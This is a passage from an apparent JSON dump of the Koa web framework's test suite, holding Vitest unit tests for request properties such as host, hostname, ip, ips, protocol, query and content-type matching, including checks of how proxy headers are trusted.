    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.charset', () => {\n  describe('with no content-type present', () => {\n    it('should return \"\"', () => {\n      const req = request();\n      assert.equal(req.charset, '');\n    });\n  });\n\n  describe('with charset present', () => {\n    it('should return \"\"', () => {\n      const req = request();\n      req.header['content-type'] = 'text/plain';\n      assert.equal(req.charset, '');\n    });\n  });\n\n  describe('with a charset', () => {\n    it('should return the charset', () => {\n      const req = request();\n      req.header['content-type'] = 'text/plain; charset=utf-8';\n      // oxlint-disable-next-line unicorn/text-encoding-identifier-case\n      assert.equal(req.charset, 'utf-8');\n    });\n\n    it('should return \"\" if content-type is invalid', () => {\n      const req = request();\n      req.header['content-type'] = 'application/json; application/text; charset=utf-8';\n      assert.equal(req.charset, '');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/fresh.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.fresh', () => {\n  describe('the request method is not GET and HEAD', () => {\n    it('should return false', () => {\n      const ctx = context();\n      ctx.req.method = 'POST';\n      assert.strictEqual(ctx.fresh, false);\n    });\n  });\n\n  describe('the response is non-2xx', () => {\n    it('should return false', () => {\n      const ctx = context();\n      ctx.status = 404;\n      ctx.req.method = 'GET';\n      ctx.req.headers['if-none-match'] = '123';\n      ctx.set('ETag', '123');\n      assert.strictEqual(ctx.fresh, false);\n    });\n  });\n\n  describe('the response is 2xx', () => {\n    describe('and etag matches', () => {\n      it('should return true', () => {\n        const ctx = context();\n        ctx.status = 200;\n        ctx.req.method = 'GET';\n        ctx.req.headers['if-none-match'] = '123';\n        ctx.set('ETag', '123');\n        assert.strictEqual(ctx.fresh, true);\n      });\n    });\n\n    describe('and etag does not match', () => {\n      it('should return false', () => {\n        const ctx = context();\n        ctx.status = 200;\n        ctx.req.method = 'GET';\n        ctx.req.headers['if-none-match'] = '123';\n        ctx.set('ETag', 'hey');\n        assert.strictEqual(ctx.fresh, false);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/get.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.get(name)', () => {\n  it('should return the field value', () => {\n    const ctx = context();\n    ctx.req.headers.host = 'http://google.com';\n    ctx.req.headers.referer = 'http://google.com';\n    assert.strictEqual(ctx.get('HOST'), 'http://google.com');\n    assert.strictEqual(ctx.get('Host'), 'http://google.com');\n    assert.strictEqual(ctx.get('host'), 'http://google.com');\n    assert.strictEqual(ctx.get('referer'), 'http://google.com');\n    assert.strictEqual(ctx.get('referrer'), 'http://google.com');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/header.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.header', () => {\n  it('should return the request header object', () => {\n    const req = request();\n    assert.deepStrictEqual(req.header, req.req.headers);\n  });\n\n  it('should set the request header object', () => {\n    const req = request();\n    req.header = {\n      'X-Custom-Headerfield': 'Its one header, with headerfields',\n    };\n    assert.deepStrictEqual(req.header, req.req.headers);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/headers.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.headers', () => {\n  it('should return the request header object', () => {\n    const req = request();\n    assert.deepStrictEqual(req.headers, req.req.headers);\n  });\n\n  it('should set the request header object', () => {\n    const req = request();\n    req.headers = {\n      'X-Custom-Headerfield': 'Its one header, with headerfields',\n    };\n    assert.deepStrictEqual(req.headers, req.req.headers);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/host.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.host', () => {\n  it('should return host with port', () => {\n    const req = request();\n    req.header.host = 'foo.com:3000';\n    assert.strictEqual(req.host, 'foo.com:3000');\n  });\n\n  describe('with no host present', () => {\n    it('should return \"\"', () => {\n      const req = request();\n      assert.strictEqual(req.host, '');\n    });\n  });\n\n  describe('when less then HTTP/2', () => {\n    it('should not use :authority header', () => {\n      const req = request({\n        httpVersionMajor: 1,\n        httpVersion: '1.1',\n      });\n      req.header[':authority'] = 'foo.com:3000';\n      req.header.host = 'bar.com:8000';\n      assert.strictEqual(req.host, 'bar.com:8000');\n    });\n  });\n\n  describe('when HTTP/2', () => {\n    it('should use :authority header', () => {\n      const req = request({\n        httpVersionMajor: 2,\n        httpVersion: '2.0',\n      });\n      req.header[':authority'] = 'foo.com:3000';\n      req.header.host = 'bar.com:8000';\n      assert.strictEqual(req.host, 'foo.com:3000');\n    });\n\n    it('should use host header as fallback', () => {\n      const req = request({\n        httpVersionMajor: 2,\n        httpVersion: '2.0',\n      });\n      req.header.host = 'bar.com:8000';\n      assert.strictEqual(req.host, 'bar.com:8000');\n    });\n  });\n\n  describe('when X-Forwarded-Host is present', () => {\n    describe('and proxy is not trusted', () => {\n      it('should be ignored on HTTP/1', () => {\n        const req = request();\n        req.header['x-forwarded-host'] = 'bar.com';\n        req.header.host = 'foo.com';\n        assert.strictEqual(req.host, 'foo.com');\n      });\n\n      it('should be ignored on HTTP/2', () => {\n        const req = request({\n          httpVersionMajor: 2,\n          httpVersion: '2.0',\n        });\n        req.header['x-forwarded-host'] = 'proxy.com:8080';\n        req.header[':authority'] = 'foo.com:3000';\n        req.header.host = 'bar.com:8000';\n        assert.strictEqual(req.host, 'foo.com:3000');\n      });\n    });\n\n    describe('and proxy is trusted', () => {\n      it('should be used on HTTP/1', () => {\n        const req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = 'bar.com, baz.com';\n        req.header.host = 'foo.com';\n        assert.strictEqual(req.host, 'bar.com');\n      });\n\n      it('should be used on HTTP/2', () => {\n        const req = request({\n          httpVersionMajor: 2,\n          httpVersion: '2.0',\n        });\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = 'proxy.com:8080';\n        req.header[':authority'] = 'foo.com:3000';\n        req.header.host = 'bar.com:8000';\n        assert.strictEqual(req.host, 'proxy.com:8080');\n      });\n\n      it('should fallback to host header when x-forwarded-host is invalid', () => {\n        // h1\n        let req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = '  ,    ';\n        req.header.host = 'foo.com';\n        assert.strictEqual(req.host, 'foo.com');\n\n        // h2\n        req = request({\n          httpVersionMajor: 2,\n          httpVersion: '2.0',\n        });\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = '  ,    ';\n        req.header[':authority'] = 'foo.com:3000';\n        assert.strictEqual(req.host, 'foo.com:3000');\n\n        // no host and no authority\n        req = request({\n          httpVersionMajor: 2,\n          httpVersion: '2.0',\n        });\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = '  ,    ';\n        assert.strictEqual(req.host, '');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/hostname.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.hostname', () => {\n  it('should return hostname void of port', () => {\n    const req = request();\n    req.header.host = 'foo.com:3000';\n    assert.strictEqual(req.hostname, 'foo.com');\n  });\n\n  describe('with no host present', () => {\n    it('should return \"\"', () => {\n      const req = request();\n      assert.strictEqual(req.hostname, '');\n    });\n  });\n\n  describe('with IPv6 in host', () => {\n    it('should parse localhost void of port', () => {\n      const req = request();\n      req.header.host = '[::1]';\n      assert.strictEqual(req.hostname, '[::1]');\n    });\n\n    it('should parse localhost with port 80', () => {\n      const req = request();\n      req.header.host = '[::1]:80';\n      assert.strictEqual(req.hostname, '[::1]');\n    });\n\n    it('should parse localhost with non-special schema port', () => {\n      const req = request();\n      req.header.host = '[::1]:1337';\n      assert.strictEqual(req.hostname, '[::1]');\n    });\n\n    it('should reduce IPv6 with non-special schema port as hostname', () => {\n      const req = request();\n      req.header.host = '[2001:cdba:0000:0000:0000:0000:3257:9652]:1337';\n      assert.strictEqual(req.hostname, '[2001:cdba::3257:9652]');\n    });\n\n    it('should return empty string when invalid', () => {\n      const req = request();\n      req.header.host = '[invalidIPv6]';\n      assert.strictEqual(req.hostname, '');\n    });\n  });\n\n  describe('when X-Forwarded-Host is present', () => {\n    describe('and proxy is not trusted', () => {\n      it('should be ignored', () => {\n        const req = request();\n        req.header['x-forwarded-host'] = 'bar.com';\n        req.header.host = 'foo.com';\n        assert.strictEqual(req.hostname, 'foo.com');\n      });\n    });\n\n    describe('and proxy is trusted', () => {\n      it('should be used', () => {\n        const req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-host'] = 'bar.com, baz.com';\n        req.header.host = 'foo.com';\n        assert.strictEqual(req.hostname, 'bar.com');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/href.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport Stream from 'node:stream';\n// import http from 'node:http';\n// import type { AddressInfo } from 'node:net';\n\nimport { describe, it } from 'vitest';\n\n// import Koa from '../../src/index.ts';\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.href', () => {\n  it('should return the full request url', () => {\n    const socket = new Stream.Duplex();\n    const req = {\n      url: '/users/1?next=/dashboard',\n      headers: {\n        host: 'localhost',\n      },\n      socket,\n      __proto__: Stream.Readable.prototype,\n    };\n    const ctx = context(req);\n    assert.strictEqual(ctx.href, 'http://localhost/users/1?next=/dashboard');\n    // change it also work\n    ctx.url = '/foo/users/1?next=/dashboard';\n    assert.strictEqual(ctx.href, 'http://localhost/users/1?next=/dashboard');\n  });\n\n  // it.skip('should work with `GET http://example.com/foo`', done => {\n  //   const app = new Koa();\n  //   app.use(ctx => {\n  //     ctx.body = ctx.href;\n  //   });\n  //   const server = app.listen(() => {\n  //     const address = server.address() as AddressInfo;\n  //     http.get(\n  //       {\n  //         host: 'localhost',\n  //         path: 'http://example.com/foo',\n  //         port: address.port,\n  //       },\n  //       res => {\n  //         assert.strictEqual(res.statusCode, 200);\n  //         let buf = '';\n  //         res.setEncoding('utf8');\n  //         res.on('data', s => {\n  //           buf += s;\n  //         });\n  //         res.on('end', () => {\n  //           assert.strictEqual(buf, 'http://example.com/foo');\n  //           done();\n  //         });\n  //       }\n  //     );\n  //   });\n  // });\n});\n"
  },
  {
    "path": "packages/koa/test/request/idempotent.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('ctx.idempotent', () => {\n  describe('when the request method is idempotent', () => {\n    it('should return true', () => {\n      for (const method of ['GET', 'HEAD', 'PUT', 'DELETE', 'OPTIONS', 'TRACE']) {\n        const req = request();\n        req.method = method;\n        assert.equal(req.idempotent, true);\n      }\n    });\n  });\n\n  describe('when the request method is not idempotent', () => {\n    it('should return false', () => {\n      const req = request();\n      req.method = 'POST';\n      assert.equal(req.idempotent, false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/inspect.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport util from 'node:util';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('req.inspect()', () => {\n  describe('with no request.req present', () => {\n    it('should return null', () => {\n      const request = context().request;\n      request.method = 'GET';\n      delete (request as unknown as { req: unknown }).req;\n      assert.ok(undefined === request.inspect());\n      assert.ok(util.inspect(request) === 'undefined');\n    });\n  });\n\n  it('should return a json representation', () => {\n    const request = context().request;\n    request.method = 'GET';\n    request.url = 'example.com';\n    request.header.host = 'example.com';\n\n    const expected = {\n      method: 'GET',\n      url: 'example.com',\n      header: {\n        host: 'example.com',\n      },\n    };\n\n    assert.deepEqual(request.inspect(), expected);\n    assert.deepEqual(util.inspect(request), util.inspect(expected));\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/ip.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport Stream from 'node:stream';\n\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\nimport { request as createRequest } from '../test-helpers/context.ts';\n\ndescribe('req.ip', () => {\n  describe('with req.ips present', () => {\n    it('should return req.ips[0]', () => {\n      const app = new Koa();\n      const req = {\n        headers: {} as Record<string, string>,\n        socket: new Stream.Duplex(),\n      };\n      app.proxy = true;\n      req.headers['x-forwarded-for'] = '127.0.0.1';\n      (req.socket as unknown as { remoteAddress: string }).remoteAddress = '127.0.0.2';\n      const request = createRequest(req, undefined, app);\n      assert.strictEqual(request.ip, '127.0.0.1');\n    });\n  });\n\n  describe('with no req.ips present', () => {\n    it('should return req.socket.remoteAddress', () => {\n      const req = { socket: new Stream.Duplex() };\n      (req.socket as unknown as { remoteAddress: string }).remoteAddress = '127.0.0.2';\n      const request = createRequest(req);\n      assert.strictEqual(request.ip, '127.0.0.2');\n    });\n\n    describe('with req.socket.remoteAddress not present', () => {\n      it('should return an empty string', () => {\n        const socket = new Stream.Duplex();\n        Object.defineProperty(socket, 'remoteAddress', {\n          get: () => undefined, // So that the helper doesn't override it with a reasonable value\n          set: () => {\n            // empty\n          },\n        });\n        assert.strictEqual(createRequest({ socket }).ip, '');\n      });\n    });\n  });\n\n  it('should be lazy inited and cached', () => {\n    const req = { socket: new Stream.Duplex() };\n    (req.socket as unknown as { remoteAddress: string }).remoteAddress = '127.0.0.2';\n    const request = createRequest(req);\n    assert.strictEqual(request.ip, '127.0.0.2');\n    (req.socket as unknown as { remoteAddress: string }).remoteAddress = '127.0.0.1';\n    assert.strictEqual(request.ip, '127.0.0.2');\n  });\n\n  it('should reset ip work', () => {\n    const req = { socket: new Stream.Duplex() };\n    (req.socket as unknown as { remoteAddress: string }).remoteAddress = '127.0.0.2';\n    const request = createRequest(req);\n    assert.strictEqual(request.ip, '127.0.0.2');\n    request.ip = '127.0.0.1';\n    assert.strictEqual(request.ip, '127.0.0.1');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/ips.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.ips', () => {\n  describe('when X-Forwarded-For is present', () => {\n    describe('and proxy is not trusted', () => {\n      it('should be ignored', () => {\n        const req = request();\n        req.app.proxy = false;\n        req.header['x-forwarded-for'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, []);\n      });\n    });\n\n    describe('and proxy is trusted', () => {\n      it('should be used', () => {\n        let req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-for'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, ['127.0.0.1', '127.0.0.2']);\n\n        req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-for'] = '127.0.0.1,  ,  ,,,,127.0.0.2';\n        assert.deepStrictEqual(req.ips, ['127.0.0.1', '127.0.0.2']);\n      });\n\n      it('should ignore invalid ips', () => {\n        const req = request();\n        req.app.proxy = true;\n        req.header['x-forwarded-for'] = ',  ,  ,,,,   , ,,,  ,';\n        assert.deepStrictEqual(req.ips, []);\n      });\n    });\n  });\n\n  describe('when options.proxyIpHeader is present', () => {\n    describe('and proxy is not trusted', () => {\n      it('should be ignored', () => {\n        const req = request();\n        req.app.proxy = false;\n        req.app.proxyIpHeader = 'x-client-ip';\n        req.header['x-client-ip'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, []);\n      });\n    });\n\n    describe('and proxy is trusted', () => {\n      it('should be used', () => {\n        const req = request();\n        req.app.proxy = true;\n        req.app.proxyIpHeader = 'x-client-ip';\n        req.header['x-client-ip'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, ['127.0.0.1', '127.0.0.2']);\n      });\n    });\n  });\n\n  describe('when options.maxIpsCount is present', () => {\n    describe('and proxy is not trusted', () => {\n      it('should be ignored', () => {\n        const req = request();\n        req.app.proxy = false;\n        req.app.maxIpsCount = 1;\n        req.header['x-forwarded-for'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, []);\n      });\n    });\n\n    describe('and proxy is trusted', () => {\n      it('should be used', () => {\n        const req = request();\n        req.app.proxy = true;\n        req.app.maxIpsCount = 1;\n        req.header['x-forwarded-for'] = '127.0.0.1,127.0.0.2';\n        assert.deepStrictEqual(req.ips, ['127.0.0.2']);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/is.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.is(type)', () => {\n  it('should ignore params', () => {\n    const ctx = context();\n    ctx.header['content-type'] = 'text/html; charset=utf-8';\n    ctx.header['transfer-encoding'] = 'chunked';\n\n    assert.strictEqual(ctx.is('text/*'), 'text/html');\n  });\n\n  describe('when no body is given', () => {\n    it('should return null', () => {\n      const ctx = context();\n\n      assert.strictEqual(ctx.is(), null);\n      assert.strictEqual(ctx.is('image/*'), null);\n      assert.strictEqual(ctx.is('image/*', 'text/*'), null);\n    });\n  });\n\n  describe('when no content type is given', () => {\n    it('should return false', () => {\n      const ctx = context();\n      ctx.header['transfer-encoding'] = 'chunked';\n\n      assert.strictEqual(ctx.is(), false);\n      assert.strictEqual(ctx.is('image/*'), false);\n      assert.strictEqual(ctx.is('text/*', 'image/*'), false);\n    });\n  });\n\n  describe('give no types', () => {\n    it('should return the mime type', () => {\n      const ctx = context();\n      ctx.header['content-type'] = 'image/png';\n      ctx.header['transfer-encoding'] = 'chunked';\n\n      assert.strictEqual(ctx.is(), 'image/png');\n    });\n  });\n\n  describe('given one type', () => {\n    it('should return the type or false', () => {\n      const ctx = context();\n      ctx.header['content-type'] = 'image/png';\n      ctx.header['transfer-encoding'] = 'chunked';\n\n      assert.strictEqual(ctx.is('png'), 'png');\n      assert.strictEqual(ctx.is('.png'), '.png');\n      assert.strictEqual(ctx.is('image/png'), 'image/png');\n      assert.strictEqual(ctx.is('image/*'), 'image/png');\n      assert.strictEqual(ctx.is('*/png'), 'image/png');\n\n      assert.strictEqual(ctx.is('jpeg'), false);\n      assert.strictEqual(ctx.is('.jpeg'), false);\n      assert.strictEqual(ctx.is('image/jpeg'), false);\n      assert.strictEqual(ctx.is('text/*'), false);\n      assert.strictEqual(ctx.is('*/jpeg'), false);\n    });\n  });\n\n  describe('given multiple types', () => {\n    it('should return the first match or false', () => {\n      const ctx = context();\n      ctx.header['content-type'] = 'image/png';\n      ctx.header['transfer-encoding'] = 'chunked';\n\n      assert.strictEqual(ctx.is('png'), 'png');\n      assert.strictEqual(ctx.is('.png'), '.png');\n      assert.strictEqual(ctx.is('text/*', 'image/*'), 'image/png');\n      assert.strictEqual(ctx.is('image/*', 'text/*'), 'image/png');\n      assert.strictEqual(ctx.is('image/*', 'image/png'), 'image/png');\n      assert.strictEqual(ctx.is('image/png', 'image/*'), 'image/png');\n\n      assert.strictEqual(ctx.is(['text/*', 'image/*']), 'image/png');\n      assert.strictEqual(ctx.is(['image/*', 'text/*']), 'image/png');\n      assert.strictEqual(ctx.is(['image/*', 'image/png']), 'image/png');\n      assert.strictEqual(ctx.is(['image/png', 'image/*']), 'image/png');\n\n      assert.strictEqual(ctx.is('jpeg'), false);\n      assert.strictEqual(ctx.is('.jpeg'), false);\n      assert.strictEqual(ctx.is('text/*', 'application/*'), false);\n      assert.strictEqual(ctx.is('text/html', 'text/plain', 'application/json; charset=utf-8'), false);\n    });\n  });\n\n  describe('when Content-Type: application/x-www-form-urlencoded', () => {\n    it('should match \"urlencoded\"', () => {\n      const ctx = context();\n      ctx.header['content-type'] = 'application/x-www-form-urlencoded';\n      ctx.header['transfer-encoding'] = 'chunked';\n\n      assert.strictEqual(ctx.is('urlencoded'), 'urlencoded');\n      assert.strictEqual(ctx.is('json', 'urlencoded'), 'urlencoded');\n      assert.strictEqual(ctx.is('urlencoded', 'json'), 'urlencoded');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/length.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('ctx.length', () => {\n  it('should return length in content-length', () => {\n    const req = request();\n    req.header['content-length'] = '10';\n    assert.strictEqual(req.length, 10);\n  });\n\n  it('should return undefined with no content-length present', () => {\n    const req = request();\n    assert.strictEqual(req.length, undefined);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/origin.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport Stream from 'node:stream';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.origin', () => {\n  it('should return the origin of url', () => {\n    const socket = new Stream.Duplex();\n    const req = {\n      url: '/users/1?next=/dashboard',\n      headers: {\n        host: 'localhost',\n      },\n      socket,\n      __proto__: Stream.Readable.prototype,\n    };\n    const ctx = context(req);\n    assert.strictEqual(ctx.origin, 'http://localhost');\n    // change it also work\n    ctx.url = '/foo/users/1?next=/dashboard';\n    assert.strictEqual(ctx.origin, 'http://localhost');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/path.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport parseurl from 'parseurl';\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.path', () => {\n  it('should return the pathname', () => {\n    const ctx = context();\n    ctx.url = '/login?next=/dashboard';\n    assert.strictEqual(ctx.path, '/login');\n  });\n});\n\ndescribe('ctx.path=', () => {\n  it('should set the pathname', () => {\n    const ctx = context();\n    ctx.url = '/login?next=/dashboard';\n\n    ctx.path = '/logout';\n    assert.strictEqual(ctx.path, '/logout');\n    assert.strictEqual(ctx.url, '/logout?next=/dashboard');\n  });\n\n  it('should change .url but not .originalUrl', () => {\n    const ctx = context({ url: '/login' });\n    ctx.path = '/logout';\n    assert.strictEqual(ctx.url, '/logout');\n    assert.strictEqual(ctx.originalUrl, '/login');\n    assert.strictEqual(ctx.request.originalUrl, '/login');\n  });\n\n  it('should not affect parseurl', () => {\n    const ctx = context({ url: '/login?foo=bar' });\n    ctx.path = '/login';\n    const url = parseurl(ctx.req);\n    assert.strictEqual(url?.path, '/login?foo=bar');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/protocol.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.protocol', () => {\n  describe('when encrypted', () => {\n    it('should return \"https\"', () => {\n      const req = request();\n      // @ts-expect-error for testing\n      req.req.socket = { encrypted: true };\n      assert.equal(req.protocol, 'https');\n    });\n  });\n\n  describe('when unencrypted', () => {\n    it('should return \"http\"', () => {\n      const req = request();\n      // @ts-expect-error for testing\n      req.req.socket = {};\n      assert.equal(req.protocol, 'http');\n    });\n  });\n\n  describe('when X-Forwarded-Proto is set', () => {\n    describe('and proxy is trusted', () => {\n      it('should be used', () => {\n        const req = request();\n        req.app.proxy = true;\n        // @ts-expect-error for testing\n        req.req.socket = {};\n        req.header['x-forwarded-proto'] = 'https, http';\n        assert.equal(req.protocol, 'https');\n      });\n\n      describe('and X-Forwarded-Proto is empty', () => {\n        it('should return \"http\"', () => {\n          const req = request();\n          req.app.proxy = true;\n          // @ts-expect-error for testing\n          req.req.socket = {};\n          req.header['x-forwarded-proto'] = '';\n          assert.equal(req.protocol, 'http');\n        });\n      });\n    });\n\n    describe('and proxy is not trusted', () => {\n      it('should not be used', () => {\n        const req = request();\n        // @ts-expect-error for testing\n        req.req.socket = {};\n        req.header['x-forwarded-proto'] = 'https, http';\n        assert.equal(req.protocol, 'http');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/query.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.query', () => {\n  describe('when missing', () => {\n    it('should return an empty object', () => {\n      const ctx = context({ url: '/' });\n      assert.ok(Object.keys(ctx.query).length === 0);\n    });\n\n    it(\"should return the same object each time it's accessed\", () => {\n      const ctx = context({ url: '/' });\n      ctx.query.a = '2';\n      assert.strictEqual(ctx.query.a, '2');\n    });\n  });\n\n  it('should return a parsed query string', () => {\n    const ctx = context({ url: '/?page=2' });\n    assert.strictEqual(ctx.query.page, '2');\n  });\n});\n\ndescribe('ctx.query=', () => {\n  it('should stringify and replace the query string and search', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.query = { page: '2', color: 'blue' };\n    assert.strictEqual(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.strictEqual(ctx.querystring, 'page=2&color=blue');\n    assert.strictEqual(ctx.search, '?page=2&color=blue');\n  });\n\n  it('should change .url but not .originalUrl', () => {\n    const ctx = context({ url: '/store/shoes' });\n    // ctx.query = { page: 2 };\n    ctx.query = { page: '2' };\n    assert.strictEqual(ctx.url, '/store/shoes?page=2');\n    assert.strictEqual(ctx.originalUrl, '/store/shoes');\n    assert.strictEqual(ctx.request.originalUrl, '/store/shoes');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/querystring.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport parseurl from 'parseurl';\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.querystring', () => {\n  it('should return the querystring', () => {\n    const ctx = context({ url: '/store/shoes?page=2&color=blue' });\n    assert.equal(ctx.querystring, 'page=2&color=blue');\n  });\n\n  describe('when ctx.req not present', () => {\n    it('should return an empty string', () => {\n      const ctx = context();\n      // oxlint-disable-next-line typescript/no-explicit-any\n      (ctx.request as any).req = null;\n      assert.equal(ctx.querystring, '');\n    });\n  });\n});\n\ndescribe('ctx.querystring=', () => {\n  it('should replace the querystring', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.querystring = 'page=2&color=blue';\n    assert.equal(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.equal(ctx.querystring, 'page=2&color=blue');\n  });\n\n  it('should update ctx.search and ctx.query', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.querystring = 'page=2&color=blue';\n    assert.equal(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.equal(ctx.search, '?page=2&color=blue');\n    assert.equal(ctx.query.page, '2');\n    assert.equal(ctx.query.color, 'blue');\n  });\n\n  it('should change .url but not .originalUrl', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.querystring = 'page=2&color=blue';\n    assert.equal(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.equal(ctx.originalUrl, '/store/shoes');\n    assert.equal(ctx.request.originalUrl, '/store/shoes');\n  });\n\n  it('should not affect parseurl', () => {\n    const ctx = context({ url: '/login?foo=bar' });\n    ctx.querystring = 'foo=bar';\n    const url = parseurl(ctx.req);\n    assert.equal(url?.path, '/login?foo=bar');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/search.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.search=', () => {\n  it('should replace the search', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.search = '?page=2&color=blue';\n    assert.strictEqual(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.strictEqual(ctx.search, '?page=2&color=blue');\n  });\n\n  it('should update ctx.querystring and ctx.query', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.search = '?page=2&color=blue';\n    assert.strictEqual(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.strictEqual(ctx.querystring, 'page=2&color=blue');\n    assert.strictEqual(ctx.query.page, '2');\n    assert.strictEqual(ctx.query.color, 'blue');\n  });\n\n  it('should change .url but not .originalUrl', () => {\n    const ctx = context({ url: '/store/shoes' });\n    ctx.search = '?page=2&color=blue';\n    assert.strictEqual(ctx.url, '/store/shoes?page=2&color=blue');\n    assert.strictEqual(ctx.originalUrl, '/store/shoes');\n    assert.strictEqual(ctx.request.originalUrl, '/store/shoes');\n  });\n\n  describe('when missing', () => {\n    it('should return \"\"', () => {\n      const ctx = context({ url: '/store/shoes' });\n      assert.strictEqual(ctx.search, '');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/secure.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.secure', () => {\n  it('should return true when encrypted', () => {\n    const req = request();\n    // @ts-expect-error for testing\n    req.req.socket = { encrypted: true };\n    assert.equal(req.secure, true);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/stale.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('req.stale', () => {\n  it('should be the inverse of req.fresh', () => {\n    const ctx = context();\n    ctx.status = 200;\n    ctx.method = 'GET';\n    ctx.req.headers['if-none-match'] = '\"123\"';\n    ctx.set('ETag', '\"123\"');\n    assert.strictEqual(ctx.fresh, true);\n    assert.strictEqual(ctx.stale, false);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/subdomains.test.ts",
